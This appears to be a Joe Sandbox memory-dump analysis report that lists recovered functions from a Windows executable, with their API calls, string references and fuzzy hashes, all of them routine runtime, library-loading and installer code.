Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$Enter$FileLeaveModuleName
String ID: v
API String ID: 1807155316-3261393531
Opcode ID: 234a6d342ebd964865886f2a15b8eee54ac17b937dcdb40b5390de8531faea3e
Instruction ID: 35d9f91a6464a792d441c7b8db836cc74342469ba2bc929167959dae3770c1ff
Opcode Fuzzy Hash: 234a6d342ebd964865886f2a15b8eee54ac17b937dcdb40b5390de8531faea3e
Instruction Fuzzy Hash: 56B13B70A04359DFDB11CFA8E888BAEBBF4EF09314F144198E409EB391DB75A945CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00C175C0 Relevance: 10.6, APIs: 7, Instructions: 108processsynchronizationCOMMON

Download Yara Rule

APIs

Wow64DisableWow64FsRedirection.KERNEL32(00000000,7E4AB622,?,?), ref: 00C17607
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,7E4AB622,00D0EF1D), ref: 00C1767F
GetLastError.KERNEL32 ref: 00C17690
WaitForSingleObject.KERNEL32(00D0EF1D,000000FF), ref: 00C176AC
GetExitCodeProcess.KERNEL32(00D0EF1D,00000000), ref: 00C176BD
CloseHandle.KERNEL32(00D0EF1D), ref: 00C176C7
Wow64RevertWow64FsRedirection.KERNEL32(00000000), ref: 00C176E2

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Wow64$ProcessRedirection$CloseCodeCreateDisableErrorExitHandleLastObjectRevertSingleWait
String ID:
API String ID: 1153077990-0
Opcode ID: befba65f89f722e7e2c9f66c6535ef280fbb7c10a05cac520f57ad85605362ba
Instruction ID: bd54c8dd343cfec7e8b5f82b08f8c08b05081ec05fd548c8818581fd5918fabf
Opcode Fuzzy Hash: befba65f89f722e7e2c9f66c6535ef280fbb7c10a05cac520f57ad85605362ba
Instruction Fuzzy Hash: 14416A31E04789ABDB21CFA9CD047EEBBF8AF5A300F105659F825A6290D7749E40CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00C1F530 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shlwapi.dll,?,00000000,?,00000001,00C2A241,00000001,7E4AB622,?,00000000,00000001), ref: 00C1F54B
GetProcAddress.KERNEL32(00000000,DllGetVersion,?,00000000,?,00000001,00C2A241,00000001,7E4AB622,?,00000000,00000001), ref: 00C1F561
FreeLibrary.KERNEL32(00000000), ref: 00C1F59A
FreeLibrary.KERNEL32(00000000,?,00000000,?,00000001,00C2A241,00000001,7E4AB622,?,00000000,00000001), ref: 00C1F5B6

Strings

DllGetVersion, xrefs: 00C1F55B
Shlwapi.dll, xrefs: 00C1F54A

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Library$Free$AddressLoadProc
String ID: DllGetVersion$Shlwapi.dll
API String ID: 1386263645-2240825258
Opcode ID: ed9a6624d5dc9b5646b4818b197cd081573154d04a817c77845aa754963ea1cd
Instruction ID: 8d00877aeccf2fdcba9b8851ee6918e6bb54019f0085fbe0a55431b6aa550a89
Opcode Fuzzy Hash: ed9a6624d5dc9b5646b4818b197cd081573154d04a817c77845aa754963ea1cd
Instruction Fuzzy Hash: FD21CF726043028BD714EF29E94166FB3E5FFEA704F800A2DF449C3211EB31D9459BA2

Uniqueness

Uniqueness Score: -1.00%

Function 00BF6970 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 74libraryloaderCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00BF6A00

Part of subcall function 00CA97F8: EnterCriticalSection.KERNEL32(00DB9EA0,?,?,00B19F37,00DBAAD4,00D2A720), ref: 00CA9802
Part of subcall function 00CA97F8: LeaveCriticalSection.KERNEL32(00DB9EA0,?,00B19F37,00DBAAD4,00D2A720), ref: 00CA9835

GetProcAddress.KERNEL32(SetWindowTheme), ref: 00BF6A3D
__Init_thread_footer.LIBCMT ref: 00BF6A54

Part of subcall function 00CA9842: EnterCriticalSection.KERNEL32(00DB9EA0,-00000010,?,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622,-00000010,?), ref: 00CA984D
Part of subcall function 00CA9842: LeaveCriticalSection.KERNEL32(00DB9EA0,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622,-00000010,?,?,00000008), ref: 00CA988A

Part of subcall function 00BD6110: GetSystemDirectoryW.KERNEL32(?,00000105,7E4AB622,?,?,Kernel32.dll,00000000,00D0381D,000000FF), ref: 00BD6151
Part of subcall function 00BD6110: _wcschr.LIBVCRUNTIME ref: 00BD620F

Strings

SetWindowTheme, xrefs: 00BF6A32
explorer, xrefs: 00BF6A67
UxTheme.dll, xrefs: 00BF69D1

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$EnterInit_thread_footerLeave$AddressDirectoryProcSystem_wcschr
String ID: SetWindowTheme$UxTheme.dll$explorer
API String ID: 1789057438-3123591815
Opcode ID: 065e68f4e6a66fa8543d10949e26de49359903b546aadacec1b2daece6c930c1
Instruction ID: f2827db9efd5fa2c5c3ef88f0677f7def86893a9c3736692aadb56e9dc8a204a
Opcode Fuzzy Hash: 065e68f4e6a66fa8543d10949e26de49359903b546aadacec1b2daece6c930c1
Instruction Fuzzy Hash: 54216D71A40705EFC720DF18DC42B9977E4EB46B31F204356F922A73D0DBB5A9049B61

Uniqueness

Uniqueness Score: -1.00%

Function 00CC31A5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00CC32B2,?,?,?,00000000,00000000,?,00CC351C,00000021,FlsSetValue,00D3104C,00D31054,?), ref: 00CC3266

Strings

ext-ms-, xrefs: 00CC3210
api-ms-, xrefs: 00CC31FC

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: e79c392b64112283695962db0acf25ca646986adf7b94488a5ebf31758bb6fd8
Instruction ID: 6910e5de29cecaddbd94187b05e99e03f09896601e78c29d6d6e798b179ac4be
Opcode Fuzzy Hash: e79c392b64112283695962db0acf25ca646986adf7b94488a5ebf31758bb6fd8
Instruction Fuzzy Hash: 5F21E775A01360EBDF21AB65FC41F5E3768DB55760F248119E926E7392D630EF01C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 00CA659D Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00CA6618,00CA657B,00CA681C), ref: 00CA65B4
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive,?,?,00CA6618,00CA657B,00CA681C), ref: 00CA65CA
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive,?,?,00CA6618,00CA657B,00CA681C), ref: 00CA65DF

Strings

AcquireSRWLockExclusive, xrefs: 00CA65C4
ReleaseSRWLockExclusive, xrefs: 00CA65D4
KERNEL32.DLL, xrefs: 00CA65AF

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 83ffc086c0684d251a2c7f60a3bd4680eff4896c3ad9f1eb64e0588a962df281
Instruction ID: 75bfac269188d3e425e5286fe19814fc9bde7b650e3a30da020c8ef2c1271c86
Opcode Fuzzy Hash: 83ffc086c0684d251a2c7f60a3bd4680eff4896c3ad9f1eb64e0588a962df281
Instruction Fuzzy Hash: 41F02271B51363DB0F718F616C9156A62C8AB1334C309A53FE932D3240EA20DE46CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 00C0A730 Relevance: 9.2, APIs: 6, Instructions: 153COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00C0A77A
std::_Lockit::_Lockit.LIBCPMT ref: 00C0A79C
std::_Lockit::~_Lockit.LIBCPMT ref: 00C0A7C4
__Getctype.LIBCPMT ref: 00C0A8A5
std::_Facet_Register.LIBCPMT ref: 00C0A907
std::_Lockit::~_Lockit.LIBCPMT ref: 00C0A931

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 05be57c6d3c626680d7c644528ba5d983c4c8ea0f0f35c2575a15e03b2c2e11d
Instruction ID: 0d73f67512ec523b9419fcb36eb4390570378cebd6ddf1212818d3bf816c4e42
Opcode Fuzzy Hash: 05be57c6d3c626680d7c644528ba5d983c4c8ea0f0f35c2575a15e03b2c2e11d
Instruction Fuzzy Hash: C761AAB0C00745CFDB10CF68C9417AABBB4FF14314F148299E955AB391E774AA85CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B26080 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 361stringCOMMON

Download Yara Rule

APIs

lstrcmpW.KERNEL32(?,#32770), ref: 00B26181

Strings

#32770, xrefs: 00B26178

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: lstrcmp
String ID: #32770
API String ID: 1534048567-463685578
Opcode ID: 39f2d846ab0d28f93b584e9cf0f34529a65e24bd90eeed41d87390733e2b32f0
Instruction ID: 13ef9c75b937078789d4ee5bdedb4742db7e67a9376cbf90c89463ab9d3091c9
Opcode Fuzzy Hash: 39f2d846ab0d28f93b584e9cf0f34529a65e24bd90eeed41d87390733e2b32f0
Instruction Fuzzy Hash: EBE18E70A00229EFDB15DFA8D854BADBBF5EF49710F148198E819A7390DB74AD44CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00CAAE99 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00CAAE90,00CAAE5C,?,?,00B46D6D,00C14950,?,00000008), ref: 00CAAEA7
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00CAAEB5
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00CAAECE
SetLastError.KERNEL32(00000000,00CAAE90,00CAAE5C,?,?,00B46D6D,00C14950,?,00000008), ref: 00CAAF20

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a8082962a7852728d8d2ea156925d979a8b62e79cd39d7640626ca65d9f98ecf
Instruction ID: 0669e5d0021113cd7334ffd3e64bd4eed2870bdcde8a97e2f8cb17a645b73143
Opcode Fuzzy Hash: a8082962a7852728d8d2ea156925d979a8b62e79cd39d7640626ca65d9f98ecf
Instruction Fuzzy Hash: 7101DD72109723DEA62827B9AC8556A6765DB03B7D7200329F620D52E1EF254E11F2A1

Uniqueness

Uniqueness Score: -1.00%

Function 00C20540 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 266COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000080,00000001,Close,50000001,?,00000128,?,00000032,0000000E,00000082,000001F5,?,50000000,?,00000026), ref: 00C2082B

Strings

Close, xrefs: 00C20744
Details >>, xrefs: 00C207B1
Send Error Report, xrefs: 00C2078D
Copy, xrefs: 00C20812

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: HandleModule
String ID: Close$Copy$Details >>$Send Error Report
API String ID: 4139908857-113472931
Opcode ID: 60faee8e46271beb3cf364e71222d289bc437573d79ed63b5d92e6ad70804ab2
Instruction ID: 8d0ccc9e07a05093948a7ccf0a14b694b5ebe5ad054ac72f671131a136bf919f
Opcode Fuzzy Hash: 60faee8e46271beb3cf364e71222d289bc437573d79ed63b5d92e6ad70804ab2
Instruction Fuzzy Hash: 5FA18E70A40215AFEB24DF54DC52BAEB7B5FF58704F104229F911BB6C1EBB0AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C54E30 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 244fileCOMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00C54E64

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

DeleteFileW.KERNEL32(?), ref: 00C54F0A
DeleteFileW.KERNEL32(?,?,?,?,00000000), ref: 00C5503F

Part of subcall function 00C18580: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,7E4AB622,00000001,7508EB20,00000000), ref: 00C185CF
Part of subcall function 00C18580: ReadFile.KERNEL32(00000000,?,000003FF,?,00000000,?,80000000,00000003,00000000,00000003,00000080,00000000,7E4AB622,00000001,7508EB20,00000000), ref: 00C18605

_wcsrchr.LIBVCRUNTIME ref: 00C54F79

Strings

--verbose --log-file="%s" --remove-pack-file "%s" "%s", xrefs: 00C54EBE

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: File$DeleteInit_thread_footer_wcsrchr$CreateHeapProcessRead
String ID: --verbose --log-file="%s" --remove-pack-file "%s" "%s"
API String ID: 1643751158-3685554107
Opcode ID: 942a97e04cecad540d15c111dfcb58c2cf305bef122a0860b854dbbb1bf04b5e
Instruction ID: 61fbaf6bf7721155b09235e11bf69487425b4e543722ba80c7cb1dd064e7041f
Opcode Fuzzy Hash: 942a97e04cecad540d15c111dfcb58c2cf305bef122a0860b854dbbb1bf04b5e
Instruction Fuzzy Hash: 18919035A006059FDB00DF68C844B9EBBF5EF45325F1482A9E815DB2A2DB35DE48CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B18860 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 238COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00B18945
__Init_thread_footer.LIBCMT ref: 00B189BF

Strings

</a>, xrefs: 00B18AC9
<a href=", xrefs: 00B18907
<a>, xrefs: 00B18B71

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Init_thread_footer
String ID: </a>$<a href="$<a>
API String ID: 1385522511-4210067781
Opcode ID: 164ee557e18c4580b90063919e1278503b8b34d04d7f5a0d9ba716f4515cd631
Instruction ID: 11dc74b0919363a43019617fa8842043cfebdbedb98e7a241a01c4260208af48
Opcode Fuzzy Hash: 164ee557e18c4580b90063919e1278503b8b34d04d7f5a0d9ba716f4515cd631
Instruction Fuzzy Hash: 0FA14970A00704EFCB14DF68D855BADB7F1FF45324F544299E416AB3A1EBB0A985CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C17710 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 166synchronizationCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C17897
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00C178B3
GetExitCodeProcess.KERNEL32(00000000,00D0EFA7), ref: 00C178C4
CloseHandle.KERNEL32(00000000), ref: 00C178D2

Strings

open, xrefs: 00C177A7

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CloseCodeErrorExitHandleLastObjectProcessSingleWait
String ID: open
API String ID: 2321548817-2758837156
Opcode ID: 6a2c45ed5d1828c92720aaf7d30f71688932f8a0d088029707b58ff37b58318a
Instruction ID: b3073deae2f9655c74a2941c684d40b4fddd3779845329aa3cdcbc88e8924603
Opcode Fuzzy Hash: 6a2c45ed5d1828c92720aaf7d30f71688932f8a0d088029707b58ff37b58318a
Instruction Fuzzy Hash: 5E617871E042499BDB10CFA9C84879EBBB4FF46324F188259E824AB3D1D7749A81DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00CAE04C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,?,00CAE10F,?,?,00000000,?,?,00CAE1C1,00000002,FlsGetValue,00D2E140,00D2E148), ref: 00CAE0DD

Strings

api-ms-, xrefs: 00CAE09D

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 94269dabb5d9ae492c5016726f0dda86c273817e8e1089ec3cc5775b16f7a5eb
Instruction ID: db3aed836a8b1fb5705a37a9d98a104cdfc9f482b9a2eae88272bc80ebcff9e1
Opcode Fuzzy Hash: 94269dabb5d9ae492c5016726f0dda86c273817e8e1089ec3cc5775b16f7a5eb
Instruction Fuzzy Hash: 4911C631A40322EBDB328B68AC4075E37A49F13768F250521F914E7280D7F0FE0197E6

Uniqueness

Uniqueness Score: -1.00%

Function 00CBEA83 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,7E4AB622,?,?,00000000,00D2A4FA,000000FF,?,00CBEA13,?,?,00CBE9E7,?), ref: 00CBEAB8
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,00000000,00D2A4FA,000000FF,?,00CBEA13,?,?,00CBE9E7,?), ref: 00CBEACA
FreeLibrary.KERNEL32(00000000,?,?,00000000,00D2A4FA,000000FF,?,00CBEA13,?,?,00CBE9E7,?), ref: 00CBEAEC

Strings

mscoree.dll, xrefs: 00CBEAB1
CorExitProcess, xrefs: 00CBEAC2

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

